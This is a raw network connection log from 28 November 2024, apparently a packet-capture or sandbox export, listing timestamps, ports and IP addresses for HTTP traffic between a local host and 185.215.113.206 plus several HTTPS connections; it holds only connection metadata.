Nov 28, 2024 06:48:36.523292065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.523309946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.523330927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.523374081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.523374081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.523987055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524060965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524075031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524086952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.524192095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.524785995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524872065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524890900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.524899006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.524919987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.525021076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.525599957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.525684118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.525696993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.525969028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.549400091 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.555521965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.555562973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.555581093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.555643082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.555643082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.555705070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.555716038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.555767059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.555990934 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.556054115 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.556169033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.556194067 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.556241035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.556252003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.556268930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.556392908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.557023048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557068110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557080984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557262897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.557787895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557854891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557866096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.557871103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.557889938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.558008909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.558593988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.558657885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.558670044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.558670998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.558743954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.558847904 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.558861017 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.558912992 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.558938980 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.558986902 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.559001923 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.559031010 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.559078932 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.559284925 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.559322119 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.559432030 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.559504032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.559514999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.559525967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.559552908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.559659004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.559848070 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.559870005 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.560107946 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.560120106 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.560154915 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.560168028 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.560214996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.560285091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.560296059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.560307026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.560401917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.560879946 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.560976028 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.561000109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.561074972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.561085939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.561100960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.561116934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.562381029 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.562395096 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.562422037 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.562462091 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.563484907 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.563504934 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.563582897 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.563595057 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.564412117 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.564925909 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.565109968 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.565116882 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.565148115 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.565182924 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.568259001 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.568278074 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.568417072 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.568428040 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.569042921 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.569087029 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.569232941 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.569262028 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.569608927 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.578564882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.578625917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.578665972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.578751087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.578761101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.578763008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.578870058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.578881979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.578947067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.579493999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.579562902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.579574108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.579629898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.580311060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.580406904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.580419064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.580427885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.580467939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.580467939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.581125975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.581197977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.581206083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.581218004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.581388950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.590750933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.590809107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.590821981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.590832949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.590878010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.590976954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.590989113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.591046095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.591505051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.591583014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.591595888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.591696978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.592322111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.592370987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.592387915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.592401028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.592432022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.592432022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.593120098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.593139887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.593215942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.593642950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.593715906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.593728065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.593801022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.593801022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.594479084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.594568014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.594579935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.594592094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.594824076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.595274925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.595328093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.595335960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.595340967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.595444918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.596050024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596185923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596198082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596213102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.596278906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.596867085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596940041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596951962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.596965075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.597018003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.597719908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.597742081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.597755909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.597789049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.597789049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.597824097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.606482983 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.606534004 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.606792927 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.606810093 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.606838942 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.617717028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.617858887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.617961884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.617964983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.618093014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.622178078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622237921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622250080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622265100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.622348070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.622383118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622526884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.622818947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622931004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622941971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.622947931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.623141050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.623619080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.623657942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.623682022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.623852968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.623888016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.624000072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.624433994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.624499083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.624510050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.624587059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.625230074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.625303030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.625317097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.625327110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.625354052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.625402927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.626017094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626077890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626089096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626104116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.626140118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.626847982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626914978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626925945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.626988888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.627716064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.627759933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.627772093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.627782106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.627892017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.628501892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.628550053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.628561020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.628653049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.629293919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.629389048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.629399061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.629420042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.629599094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.630072117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.630143881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.630155087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.630173922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.630222082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.630882978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.630940914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.630968094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.631007910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.631027937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.631081104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.631777048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.631788015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.631854057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.631880999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.632131100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.632486105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.632585049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.632601976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.632608891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.632657051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.632658005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.633322954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.633393049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.633404970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.633431911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.633466005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.634131908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.634201050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.634227037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.636493921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.701679945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.701735020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.701746941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.701764107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.701857090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.701886892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.701925039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.702089071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.702156067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.702167988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.702186108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.702297926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.702922106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.702985048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.702996969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.703008890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.703011990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.703116894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.703116894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.703672886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.703739882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.703751087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.703763008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.703984976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739068985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739098072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739111900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739145041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739181042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739181042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739284992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739317894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739357948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739372015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739387035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739418030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739418030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.739476919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.739720106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.740161896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740230083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740240097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740259886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.740293980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.740611076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740690947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740703106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740720034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.740797043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.740823984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.740889072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.741477013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.741533041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.741544008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.741558075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.741656065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.741674900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.741803885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.742420912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.742434978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.742446899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.742563963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.742597103 CET	49750	80	192.168.2.5	185.215.113.206
